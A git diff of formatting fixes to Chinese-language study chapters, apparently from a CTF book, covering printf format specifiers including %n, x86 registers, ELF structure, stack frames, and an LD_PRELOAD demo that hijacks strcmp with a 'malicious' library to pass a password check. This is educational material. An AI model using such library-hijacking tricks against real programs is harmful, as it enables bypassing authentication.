0。默认精度为 1。精度为 0 且值为 0,则输出为空 | +| `s` | 如果没有用 `l` 标志,输出 `null` 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 `l` 标志,则对应函数参数指向 `wchar_t` 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 `wcrtomb` 函数 | +| `c` | 如果没有用 `l` 标志,把 `int` 参数转为 `unsigned char` 型输出;如果用了 `l` 标志,把 `wint_t` 参数转为包含两个元素的 `wchart_t` 数组,其中第一个元素包含要输出的字符,第二个元素为 `null` 宽字符 | +| `p` | `void *` 型,输出对应变量的值。`printf("%p", a)` 用地址的格式打印变量 `a` 的值,`printf("%p", &a)` 打印变量 `a` 所在的地址 | +| `a`, `A` | `double` 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'`a`' 使用小写字母,'`A`' 使用大写字母 | +| `n` | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 | +| `%` | '`%`' 字面值,不接受任何除了 `参数` 以外的部分 | - (可选)参数 -字符 | 描述 ---- | --- -`n$` | `n` 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 `参数`,则其他所有占位符必须也使用 `参数`。例:`printf("%2$d %2$#x; %1$d %1$#x",16,17)` 产生 "`17 0x11; 16 0x10`" +| 字符 | 描述 | +| --- | --- | +| `n$` | `n` 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 `参数`,则其他所有占位符必须也使用 `参数`。例:`printf("%2$d %2$#x; %1$d %1$#x",16,17)` 产生 "`17 0x11; 16 0x10`" | - (可选)标志 -字符 | 描述 ---- | --- -`+` | 总是表示有符号数值的 '`+`' 或 '`-`' 号,缺省情况是忽略正数的符号。仅适用于数值类型。 -*空格* | 使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '`+`' 同时出现,则空格说明符被忽略。 -`-` | 左对齐。缺省情况是右对齐。 -`#` | 对于 '`g`' 与 '`G`',不删除尾部 0 以表示精度。对于 '`f`', '`F`', '`e`', '`E`', '`g`', '`G`', 总是输出小数点。对于 '`o`', '`x`', '`X`', 在非 0 数值前分别输出前缀 `0`, `0x` 和 `0X`表示数制。 -`0` | 如果 `宽度` 选项前缀为 `0`,则在左侧用 `0` 填充直至达到宽度要求。例如 `printf("%2d", 3)` 输出 "`3`",而 `printf("%02d", 3)` 输出 "`03`"。如果 `0` 与 `-` 均出现,则 `0` 被忽略,即左对齐依然用空格填充。 +| 字符 | 描述 | +| --- | --- | +| `+` | 总是表示有符号数值的 '`+`' 或 '`-`' 号,缺省情况是忽略正数的符号。仅适用于数值类型 | +| *空格* | 使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '`+`' 同时出现,则空格说明符被忽略 | +| `-` | 左对齐。缺省情况是右对齐 | +| `#` | 对于 '`g`' 与 '`G`',不删除尾部 0 以表示精度。对于 '`f`', '`F`', '`e`', '`E`', '`g`', '`G`', 总是输出小数点。对于 '`o`', '`x`', '`X`', 在非 0 数值前分别输出前缀 `0`, `0x` 和 `0X`表示数制 | +| `0` | 如果 `宽度` 选项前缀为 `0`,则在左侧用 `0` 填充直至达到宽度要求。例如 `printf("%2d", 3)` 输出 "`3`",而 `printf("%02d", 3)` 输出 "`03`"。如果 `0` 与 `-` 均出现,则 `0` 被忽略,即左对齐依然用空格填充 | - (可选)宽度 @@ -374,18 +402,19 @@ int vsnprintf(char *str, size_t size, const char *format, va_list ap); - (可选)长度 -字符 | 描述 ---- | --- -`hh` | 对于整数类型,`printf` 期待一个从 `char` 提升的 `int` 整型参数。 -`h` | 对于整数类型,`printf` 期待一个从 `short` 提升的 `int` 整型参数。 -`l` | 对于整数类型,`printf` 期待一个 `long` 整型参数。对于浮点类型,`printf` 期待一个 `double` 整型参数。对于字符串 `s` 类型,`printf` 期待一个 `wchar_t` 指针参数。对于字符 `c` 类型,`printf` 期待一个 `wint_t` 型的参数。 -`ll` | 对于整数类型,`printf` 期待一个 `long long` 整型参数。Microsoft 也可以使用 `I64`。 -`L` | 对于浮点类型,`printf` 期待一个 `long double` 整型参数。 -`z` | 对于整数类型,`printf` 期待一个 `size_t` 整型参数。 -`j` | 对于整数类型,`printf` 期待一个 `intmax_t` 整型参数。 -`t` | 对于整数类型,`printf` 期待一个 `ptrdiff_t` 整型参数。 +| 字符 | 描述 | +| --- | --- | +| `hh` | 对于整数类型,`printf` 期待一个从 `char` 提升的 `int` 整型参数 | +| `h` | 对于整数类型,`printf` 期待一个从 `short` 提升的 `int` 整型参数 | +| `l` | 对于整数类型,`printf` 期待一个 `long` 整型参数。对于浮点类型,`printf` 期待一个 `double` 整型参数。对于字符串 `s` 类型,`printf` 期待一个 `wchar_t` 指针参数。对于字符 `c` 类型,`printf` 期待一个 `wint_t` 型的参数 | +| `ll` | 对于整数类型,`printf` 期待一个 `long long` 整型参数。Microsoft 也可以使用 `I64` | +| `L` | 对于浮点类型,`printf` 期待一个 `long double` 整型参数 | +| `z` | 对于整数类型,`printf` 期待一个 `size_t` 整型参数 | +| `j` | 对于整数类型,`printf` 期待一个 `intmax_t` 整型参数 | +| `t` | 对于整数类型,`printf` 期待一个 `ptrdiff_t` 整型参数 | + +### 例子 -#### 例子 ```c printf("Hello %%"); // "Hello %" printf("Hello World!"); // "Hello World!" @@ -405,5 +434,4 @@ printf("%42c%1$n", &n); // 首先输出41个空格,然后输出 n 的低 这里我们对格式化输出函数和格式字符串有了一个详细的认识,后面的章节中我们会介绍格式化字符串漏洞的内容。 - ## 关于 C++ diff --git a/doc/1.5.2_x86_x64.md b/doc/1.5.2_x86_x64.md index d5c926c..0114f09 100644 --- a/doc/1.5.2_x86_x64.md +++ b/doc/1.5.2_x86_x64.md @@ -4,18 +4,18 @@ - [x64](#x64) - [参考资料](#参考资料) - ## x86 IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组: + - 通用寄存器:8 个通用寄存器用于存储操作数、运算结果和指针。 - 段寄存器:包括 6 个段选择器。 - EFLAGS 寄存器:用于显示程序执行的状态和允许对处理器进行有限的(应用层)控制。 - EIP 寄存器:包含一个 32 位的指针,指向下一条被执行的指令 -#### 通用寄存器 +### 通用寄存器 -![](../pic/1.5.2_general.png) +![img](../pic/1.5.2_general.png) - EAX:操作数和结果数据的累加器。 - EBX:指向 DS 段中数据的指针。 @@ -26,24 +26,26 @@ IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组: - ESP:栈指针(位于 SS 段)。 - EBP:指向栈上数据的指针(位于 SS 段)。 -#### 段寄存器 +### 段寄存器 + 段寄存器用于保存 16 位的段选择器。段选择器是一种特殊的指针,用于确定内存中某个段的位置。 段寄存器的使用取决于操作系统的内存管理模型。 平坦内存模型: -![](../pic/1.5.2_flat.png) +![img](../pic/1.5.2_flat.png) 分段内存模型: -![](../pic/1.5.2_segmented.png) +![img](../pic/1.5.2_segmented.png) -#### EFLAGS +### EFLAGS -![](../pic/1.5.2_eflags.png) +![img](../pic/1.5.2_eflags.png) 标志位寄存器统称为 EFLAGS: + - 状态标志 - CF(bit 0):进位标志,用于表示无符号数运算是否产生进位或者借位,如果产生了进位或借位则值为 1,否则值为 0。 - PF(bit 2):奇偶标志,用于表示运算结果中 1 的个数的奇偶性,偶数个 1 时值为 1,奇数个 1 时值为 0。 @@ -64,11 +66,12 @@ IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组: - VIP(bit 20):虚拟中断等待标志,置 1 表示有一个等待处理的中断,置 0 表示没有等待处理的中断。 - ID(bit 21):识别标志,置 1 表示支持 CPUID 指令,置 0 表示不支持。 -#### EIP 寄存器 -指令指针寄存器存储了当前代码段的偏移,指向了下一条要执行的指令,系统根据该寄存器从内存中取出指令,然后再译码执行。 +### EIP 寄存器 +指令指针寄存器存储了当前代码段的偏移,指向了下一条要执行的指令,系统根据该寄存器从内存中取出指令,然后再译码执行。 ## x64 ## 参考资料 + - [Intel® 64 and IA-32 Architectures Software Developer Manuals](https://software.intel.com/en-us/articles/intel-sdm) diff --git a/doc/1.5.3_elf.md b/doc/1.5.3_elf.md index 621010c..a216350 100644 --- a/doc/1.5.3_elf.md +++ b/doc/1.5.3_elf.md @@ -5,9 +5,10 @@ - [ELF 文件结构](#elf-文件结构) - [参考资料](#参考资料) - ## 一个实例 + 在 *1.5.1节 C语言基础* 中我们看到了从源代码到可执行文件的全过程,现在我们来看一个更复杂的例子。 + ```c #include @@ -31,40 +32,46 @@ void main(void) { ``` 然后分别执行下列命令生成三个文件: + ```text -$ gcc -m32 -c elfDemo.c -o elfDemo.o +gcc -m32 -c elfDemo.c -o elfDemo.o -$ gcc -m32 elfDemo.c -o elfDemo.out +gcc -m32 elfDemo.c -o elfDemo.out -$ gcc -m32 -static elfDemo.c -o elfDemo_static.out +gcc -m32 -static elfDemo.c -o elfDemo_static.out ``` + 使用 ldd 命令打印所依赖的共享库: + ```text -$ ldd elfDemo.out +$ ldd elfDemo.out linux-gate.so.1 (0xf77b1000) libc.so.6 => /usr/lib32/libc.so.6 (0xf7597000) /lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf77b3000) -$ ldd elfDemo_static.out +$ ldd elfDemo_static.out not a dynamic executable ``` + elfDemo_static.out 采用了静态链接的方式。 使用 file 命令查看相应的文件格式: + ```text $ file elfDemo.o elfDemo.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped -$ file elfDemo.out +$ file elfDemo.out elfDemo.out: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=50036015393a99344897cbf34099256c3793e172, not stripped -$ file elfDemo_static.out +$ file elfDemo_static.out elfDemo_static.out: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=276c839c20b4c187e4b486cf96d82a90c40f4dae, not stripped -$ file -L /usr/lib32/libc.so.6 +$ file -L /usr/lib32/libc.so.6 /usr/lib32/libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped ``` 于是我们得到了 Linux 可执行文件格式 ELF (Executable Linkable Format)文件的三种类型: + - 可重定位文件(Relocatable file) - 包含了代码和数据,可以和其他目标文件链接生成一个可执行文件或共享目标文件。 - elfDemo.o @@ -74,18 +81,20 @@ $ file -L /usr/lib32/libc.so.6 - 共享目标文件(Shared Object File) - 包含了用于链接的代码和数据,分两种情况。一种是链接器将其与其他的可重定位文件和共享目标文件链接起来,生产新的目标文件。另一种是动态链接器将多个共享目标文件与可执行文件结合,作为进程映像的一部分。 - elfDemo.out - - libc-2.25.so + - `libc-2.25.so` 此时他们的结构如图: -![](../pic/1.5.3_elfdemo.png) +![img](../pic/1.5.3_elfdemo.png) 可以看到,在这个简化的 ELF 文件中,开头是一个“文件头”,之后分别是代码段、数据段和.bss段。程序源代码编译后,执行语句变成机器指令,保存在`.text`段;已初始化的全局变量和局部静态变量都保存在`.data`段;未初始化的全局变量和局部静态变量则放在`.bss`段。 把程序指令和程序数据分开存放有许多好处,从安全的角度讲,当程序被加载后,数据和指令分别被映射到两个虚拟区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读,可以防止程序的指令被改写和利用。 ### elfDemo.o + 接下来,我们更深入地探索目标文件,使用 objdump 来查看目标文件的内部结构: + ```text $ objdump -h elfDemo.o @@ -112,9 +121,11 @@ Idx Name Size VMA LMA File off Algn 8 .eh_frame 0000007c 00000000 00000000 000000d8 2**2 CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA ``` + 可以看到目标文件中除了最基本的代码段、数据段和 BSS 段以外,还有一些别的段。注意到 .bss 段没有 `CONTENTS` 属性,表示它实际上并不存在,.bss 段只是为为未初始化的全局变量和局部静态变量预留了位置而已。 -#### 代码段 +### 代码段 + ```text $ objdump -x -s -d elfDemo.o ...... @@ -134,7 +145,7 @@ Contents of section .text: 0040 fcffffff 05010000 00c745f4 1e000000 ..........E..... 0050 8b880000 00008b55 f401ca8b 80040000 .......U........ 0060 0001d083 ec0c50e8 fcffffff 83c41090 ......P......... - 0070 8b4dfcc9 8d61fcc3 .M...a.. + 0070 8b4dfcc9 8d61fcc3 .M...a.. ...... Disassembly of section .text: @@ -159,7 +170,7 @@ Disassembly of section .text: 28: 90 nop 29: 8b 5d fc mov -0x4(%ebp),%ebx 2c: c9 leave - 2d: c3 ret + 2d: c3 ret 0000002e
: 2e: 8d 4c 24 04 lea 0x4(%esp),%ecx @@ -190,11 +201,13 @@ Disassembly of section .text: 70: 8b 4d fc mov -0x4(%ebp),%ecx 73: c9 leave 74: 8d 61 fc lea -0x4(%ecx),%esp - 77: c3 ret + 77: c3 ret ``` + `Contents of section .text` 是 `.text` 的数据的十六进制形式,总共 0x78 个字节,最左边一列是偏移量,中间 4 列是内容,最右边一列是 ASCII 码形式。下面的 `Disassembly of section .text` 是反汇编结果。 -#### 数据段和只读数据段 +### 数据段和只读数据段 + ```text ...... Sections: @@ -205,46 +218,52 @@ Idx Name Size VMA LMA File off Algn CONTENTS, ALLOC, LOAD, READONLY, DATA ...... Contents of section .data: - 0000 0a000000 14000000 ........ + 0000 0a000000 14000000 ........ Contents of section .rodata: 0000 25640a00 %d.. ....... ``` + `.data` 段保存已经初始化了的全局变量和局部静态变量。`elfDemo.c` 中共有两个这样的变量,`global_init_var` 和 `local_static_init_var`,每个变量 4 个字节,一共 8 个字节。由于小端序的原因,`0a000000` 表示 `global_init_var` 值(`10`)的十六进制 `0x0a`,`14000000` 表示 `local_static_init_var` 值(`20`)的十六进制 `0x14`。 `.rodata` 段保存只读数据,包括只读变量和字符串常量。`elfDemo.c` 中调用 `printf` 的时候,用到了一个字符串变量 `%d\n`,它是一种只读数据,保存在 `.rodata` 段中,可以从输出结果看到字符串常量的 ASCII 形式,以 `\0` 结尾。 -#### BSS段 +### BSS段 + ```text Sections: Idx Name Size VMA LMA File off Algn 3 .bss 00000004 00000000 00000000 000000bc 2**2 ALLOC ``` + `.bss` 段保存未初始化的全局变量和局部静态变量。 - ## ELF 文件结构 + 对象文件参与程序链接(构建程序)和程序执行(运行程序)。ELF 结构几相关信息在 `/usr/include/elf.h` 文件中。 -![](../pic/1.5.3_format.png) +![img](../pic/1.5.3_format.png) - **ELF 文件头(ELF Header)** 在目标文件格式的最前面,包含了描述整个文件的基本属性。 - **程序头表(Program Header Table)** 是可选的,它告诉系统怎样创建一个进程映像。可执行文件必须有程序头表,而重定位文件不需要。 - **段(Section)** 包含了链接视图中大量的目标文件信息。 - **段表(Section Header Table)** 包含了描述文件中所有段的信息。 -#### 32位数据类型 -名称 | 长度 | 对其 | 描述 | 原始类型 -----|----|----|----|---- -Elf32_Addr | 4 | 4 | 无符号程序地址 | uint32_t -Elf32_Half | 2 | 2 | 无符号短整型 | uint16_t -Elf32_Off | 4 | 4 | 无符号偏移地址 | uint32_t -Elf32_Sword | 4 | 4 | 有符号整型 | int32_t -Elf32_Word | 4 | 4 | 无符号整型 | uint32_t +### 32位数据类型 + +| 名称 | 长度 | 对其 | 描述 | 原始类型 | +| --- | --- | --- | --- | --- | +| Elf32_Addr | 4 | 4 | 无符号程序地址 | uint32_t | +| Elf32_Half | 2 | 2 | 无符号短整型 | uint16_t | +| Elf32_Off | 4 | 4 | 无符号偏移地址 | uint32_t | +| Elf32_Sword | 4 | 4 | 有符号整型 | int32_t | +| Elf32_Word | 4 | 4 | 无符号整型 | uint32_t | + +### 文件头 -#### 文件头 ELF 文件头必然存在于 ELF 文件的开头,表明这是一个 ELF 文件。定义如下: + ```C typedef struct { @@ -265,7 +284,7 @@ typedef struct } Elf32_Ehdr; typedef struct -{ +{ unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf64_Half e_type; /* Object file type */ Elf64_Half e_machine; /* Architecture */ @@ -282,13 +301,15 @@ typedef struct Elf64_Half e_shstrndx; /* Section header string table index */ } Elf64_Ehdr; ``` + `e_ident` 保存着 ELF 的幻数和其他信息,最前面四个字节是幻数,用字符串表示为 `\177ELF`,其后的字节如果是 32 位则是 ELFCLASS32 (1),如果是 64 位则是 ELFCLASS64 (2),再其后的字节表示端序,小端序为 ELFDATA2LSB (1),大端序为 ELFDATA2LSB (2)。最后一个字节则表示 ELF 的版本。 现在我们使用 readelf 命令来查看 elfDome.out 的文件头: + ```text -$ readelf -h elfDemo.out +$ readelf -h elfDemo.out ELF Header: - Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) @@ -309,10 +330,12 @@ ELF Header: Section header string table index: 29 ``` -#### 程序头 +### 程序头 + 程序头表是由 ELF 头的 `e_phoff` 指定的偏移量和 `e_phentsize`、`e_phnum` 共同确定大小的表格组成。`e_phentsize` 表示表格中程序头的大小,`e_phnum` 表示表格中程序头的数量。 程序头的定义如下: + ```C typedef struct { @@ -340,8 +363,9 @@ typedef struct ``` 使用 readelf 来查看程序头: -``` -$ readelf -l elfDemo.out + +```text +$ readelf -l elfDemo.out Elf file type is DYN (Shared object file) Entry point 0x3e0 @@ -362,19 +386,21 @@ Program Headers: Section to Segment mapping: Segment Sections... - 00 - 01 .interp - 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .got.plt .data .bss - 04 .dynamic - 05 .note.ABI-tag .note.gnu.build-id - 06 .eh_frame_hdr - 07 + 00 + 01 .interp + 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame + 03 .init_array .fini_array .dynamic .got .got.plt .data .bss + 04 .dynamic + 05 .note.ABI-tag .note.gnu.build-id + 06 .eh_frame_hdr + 07 08 .init_array .fini_array .dynamic .got ``` -#### 段 +### 段 + 段表(Section Header Table)是一个以 `Elf32_Shdr` 结构体为元素的数组,每个结构体对应一个段,它描述了各个段的信息。ELF 文件头的 `e_shoff` 成员给出了段表在 ELF 中的偏移,`e_shnum` 成员给出了段描述符的数量,`e_shentsize` 给出了每个段描述符的大小。 + ```C typedef struct { @@ -406,6 +432,7 @@ typedef struct ``` 使用 readelf 命令查看目标文件中完整的段: + ```text $ readelf -S elfDemo.o There are 15 section headers, starting at offset 0x41c: @@ -433,27 +460,30 @@ Key to Flags: C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific) ``` + 注意,ELF 段表的第一个元素是被保留的,类型为 NULL。 -#### 字符串表 +### 字符串表 + 字符串表以段的形式存在,包含了以 null 结尾的字符序列。对象文件使用这些字符串来表示符号和段名称,引用字符串时只需给出在表中的偏移即可。字符串表的第一个字符和最后一个字符为空字符,以确保所有字符串的开始和终止。通常段名为 `.strtab` 的字符串表是 **字符串表(Strings Table)**,段名为 `.shstrtab` 的是段表字符串表(Section Header String Table)。 -偏移 | +0 | +1 | +2 | +3 | +4 | +5 | +6 | +7 | +8 | +9 -----|----|----|----|----|----|----|----|----|----|---- -**+0** | \0 | h | e | l | l | o | \0 | w | o | r -**+10** | l | d | \0 | h | e | l | l | o | w | o -**+20** | r | l | d | \0 +| 偏移 | +0 | +1 | +2 | +3 | +4 | +5 | +6 | +7 | +8 | +9 | +| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | +| **+0** | \0 | h | e | l | l | o | \0 | w | o | r | +| **+10** | l | d | \0 | h | e | l | l | o | w | o | +| **+20** | r | l | d | \0 | -偏移 | 字符串 -----|---- -0 | 空字符串 -1 | hello -7 | world -13 | helloworld -18 | world +| 偏移 | 字符串 | +| --- | --- | +| 0 | 空字符串 | +| 1 | hello | +| 7 | world | +| 13 | helloworld | +| 18 | world | 可以使用 readelf 读取这两个表: -``` + +```text $ readelf -x .strtab elfDemo.o Hex dump of section '.strtab': @@ -483,8 +513,10 @@ Hex dump of section '.shstrtab': 0x00000080 7000 ``` -#### 符号表 +### 符号表 + 目标文件的符号表保存了定位和重定位程序的符号定义和引用所需的信息。符号表索引是这个数组的下标。索引0指向表中的第一个条目,作为未定义的符号索引。 + ```C typedef struct { @@ -508,24 +540,25 @@ typedef struct ``` 查看符号表: + ```text $ readelf -s elfDemo.o Symbol table '.symtab' contains 20 entries: Num: Value Size Type Bind Vis Ndx Name - 0: 00000000 0 NOTYPE LOCAL DEFAULT UND + 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FILE LOCAL DEFAULT ABS elfDemo.c - 2: 00000000 0 SECTION LOCAL DEFAULT 2 - 3: 00000000 0 SECTION LOCAL DEFAULT 4 - 4: 00000000 0 SECTION LOCAL DEFAULT 5 - 5: 00000000 0 SECTION LOCAL DEFAULT 6 + 2: 00000000 0 SECTION LOCAL DEFAULT 2 + 3: 00000000 0 SECTION LOCAL DEFAULT 4 + 4: 00000000 0 SECTION LOCAL DEFAULT 5 + 5: 00000000 0 SECTION LOCAL DEFAULT 6 6: 00000004 4 OBJECT LOCAL DEFAULT 4 local_static_init_var.219 7: 00000000 4 OBJECT LOCAL DEFAULT 5 local_static_uninit_var.2 - 8: 00000000 0 SECTION LOCAL DEFAULT 7 - 9: 00000000 0 SECTION LOCAL DEFAULT 9 - 10: 00000000 0 SECTION LOCAL DEFAULT 10 - 11: 00000000 0 SECTION LOCAL DEFAULT 8 - 12: 00000000 0 SECTION LOCAL DEFAULT 1 + 8: 00000000 0 SECTION LOCAL DEFAULT 7 + 9: 00000000 0 SECTION LOCAL DEFAULT 9 + 10: 00000000 0 SECTION LOCAL DEFAULT 10 + 11: 00000000 0 SECTION LOCAL DEFAULT 8 + 12: 00000000 0 SECTION LOCAL DEFAULT 1 13: 00000000 4 OBJECT GLOBAL DEFAULT 4 global_init_var 14: 00000004 4 OBJECT GLOBAL DEFAULT COM global_uninit_var 15: 00000000 46 FUNC GLOBAL DEFAULT 2 func @@ -535,8 +568,10 @@ Symbol table '.symtab' contains 20 entries: 19: 0000002e 74 FUNC GLOBAL DEFAULT 2 main ``` -#### 重定位 +### 重定位 + 重定位是连接符号定义与符号引用的过程。可重定位文件必须具有描述如何修改段内容的信息,从而运行可执行文件和共享对象文件保存进程程序映像的正确信息。 + ```C typedef struct { @@ -553,6 +588,7 @@ typedef struct ``` 查看重定位表: + ```text $ readelf -r elfDemo.o @@ -575,7 +611,7 @@ Relocation section '.rel.eh_frame' at offset 0x380 contains 3 entries: 00000070 00000802 R_386_PC32 00000000 .text.__x86.get_pc_thu ``` - ## 参考资料 + - `$ man elf` - [Acronyms relevant to Executable and Linkable Format (ELF)](https://www.cs.stevens.edu/~jschauma/631/elf.html) diff --git a/doc/1.5.6_dynamic_link.md b/doc/1.5.6_dynamic_link.md index d8bc062..8ed5eab 100644 --- a/doc/1.5.6_dynamic_link.md +++ b/doc/1.5.6_dynamic_link.md @@ -2,9 +2,10 @@ - [动态链接相关的环境变量](#动态链接相关的环境变量) - ## 动态链接相关的环境变量 -#### LD_PRELOAD + +### LD_PRELOAD + LD_PRELOAD 环境变量可以定义在程序运行前优先加载的动态链接库。这使得我们可以有选择性地加载不同动态链接库中的相同函数,即通过设置该变量,在主程序和其动态链接库中间加载别的动态链接库,甚至覆盖原本的库。这就有可能出现劫持程序执行的安全问题。 ```c @@ -22,8 +23,10 @@ void main() { printf("invalid\n"); } ``` + 下面我们构造一个恶意的动态链接库来重载 `strcmp()` 函数,编译为动态链接库,并设置 LD_PRELOAD 环境变量: -``` + +```text $ cat hack.c #include #include @@ -43,7 +46,9 @@ correct ``` #### LD_SHOW_AUXV + AUXV 是内核在执行 ELF 文件时传递给用户空间的信息,设置该环境变量可以显示这些信息。如: + ```text $ LD_SHOW_AUXV=1 ls AT_SYSINFO_EHDR: 0x7fff41fbc000 diff --git a/doc/1.5.7_memory.md b/doc/1.5.7_memory.md index 1e85afc..e32ed6b 100644 --- a/doc/1.5.7_memory.md +++ b/doc/1.5.7_memory.md @@ -4,52 +4,59 @@ - [栈与调用约定](#栈与调用约定) - [堆与内存管理](#堆与内存管理) - ## 什么是内存 + 为了使用户程序在运行时具有一个私有的地址空间、有自己的 CPU,就像独占了整个计算机一样,现代操作系统提出了虚拟内存的概念。 虚拟内存的主要作用主要为三个: + - 它将内存看做一个存储在磁盘上的地址空间的高速缓存,在内存中只保存活动区域,并根据需要在磁盘和内存之间来回传送数据。 - 它为每个进程提供了一致的地址空间。 - 它保护了每个进程的地址空间不被其他进程破坏。 现代操作系统采用虚拟寻址的方式,CPU 通过生成一个虚拟地址(Virtual Address(VA))来访问内存,然后这个虚拟地址通过内存管理单元(Memory Management Unit(MMU))转换成物理地址之后被送到存储器。 -![](../pic/1.5.7_va.png) +![img](../pic/1.5.7_va.png) 前面我们已经看到可执行文件被映射到了内存中,Linux 为每个进程维持了一个单独的虚拟地址空间,包括了 .text、.data、.bss、栈(stack)、堆(heap),共享库等内容。 32 位系统有 4GB 的地址空间,其中 0x08048000~0xbfffffff 是用户空间(3GB),0xc0000000~0xffffffff 是内核空间(1GB)。 -![](../pic/1.5.7_vm.png) - +![img](../pic/1.5.7_vm.png) ## 栈与调用约定 -#### 栈 + +### 栈 + 栈是一个先入后出(First In Last Out(FIFO))的容器。用于存放函数返回地址及参数、临时变量和有关上下文的内容。程序在调用函数时,操作系统会自动通过压栈和弹栈完成保存函数现场等操作,不需要程序员手动干预。 栈由高地址向低地址增长,栈保存了一个函数调用所需要的维护信息,称为堆栈帧(Stack Frame)在 x86 体系中,寄存器 `ebp` 指向堆栈帧的底部,`esp` 指向堆栈帧的顶部。压栈时栈顶地址减小,弹栈时栈顶地址增大。 + - `PUSH`:用于压栈。将 `esp` 减 4,然后将其唯一操作数的内容写入到 `esp` 指向的内存地址 - `POP` :用于弹栈。从 `esp` 指向的内存地址获得数据,将其加载到指令操作数(通常是一个寄存器)中,然后将 `esp` 加 4。 x86 体系下函数的调用总是这样的: + - 把所有或一部分参数压入栈中,如果有其他参数没有入栈,那么使用某些特定的寄存器传递。 - 把当前指令的下一条指令的地址压入栈中。 - 跳转到函数体执行。 其中第 2 步和第 3 步由指令 `call` 一起执行。跳转到函数体之后即开始执行函数,而 x86 函数体的开头是这样的: + - `push ebp`:把ebp压入栈中(old ebp)。 - `mov ebp, esp`:ebp=esp(这时ebp指向栈顶,而此时栈顶就是old ebp) - [可选] `sub esp, XXX`:在栈上分配 XXX 字节的临时空间。 - [可选] `push XXX`:保存名为 XXX 的寄存器。 把ebp压入栈中,是为了在函数返回时恢复以前的ebp值,而压入寄存器的值,是为了保持某些寄存器在函数调用前后保存不变。函数返回时的操作与开头正好相反: + - [可选] `pop XXX`:恢复保存的寄存器。 - `mov esp, ebp`:恢复esp同时回收局部变量空间。 - `pop ebp`:恢复保存的ebp的值。 - `ret`:从栈中取得返回地址,并跳转到该位置。 栈帧对应的汇编代码: + ```text PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中) MOV ebp, esp ; 保存当前esp到ebp中 @@ -63,9 +70,10 @@ RET ; 函数返回并跳转 函数调用后栈的标准布局如下图: -![](../pic/1.5.7_stack.png) +![img](../pic/1.5.7_stack.png) 我们来看一个例子:[源码](../src/others/1.5.7_memory/stack.c) + ```c #include int add(int a, int b) { @@ -81,111 +89,117 @@ int main() { ``` 使用 gdb 查看对应的汇编代码,这里我们给出了详细的注释: + ```text gdb-peda$ disassemble main Dump of assembler code for function main: - 0x00000563 <+0>: lea ecx,[esp+0x4] ;将 esp+0x4 的地址传给 ecx - 0x00000567 <+4>: and esp,0xfffffff0 ;栈 16 字节对齐 - 0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中 - 0x0000056d <+10>: push ebp ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0 - 0x0000056e <+11>: mov ebp,esp ;把调用 main() 之前的 esp 作为当前栈帧的 ebp - 0x00000570 <+13>: push ebx ;ebx、ecx 入栈 - 0x00000571 <+14>: push ecx - 0x00000572 <+15>: sub esp,0x10 ;为局部变量 a、b 分配空间并做到 16 字节对齐 - 0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx - 0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86 - 0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1 - 0x00000587 <+36>: mov DWORD PTR [ebp-0xc],0x2 ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2 - 0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;将 b 压入栈中 - 0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;将 a 压入栈中 - 0x00000594 <+49>: call 0x53d ;调用 add() 函数,返回值保存在 eax 中 - 0x00000599 <+54>: add esp,0x8 ;清理 add() 的参数 - 0x0000059c <+57>: sub esp,0x8 ;调整 esp 使 16 位对齐 - 0x0000059f <+60>: push eax ;eax 入栈 - 0x000005a0 <+61>: lea 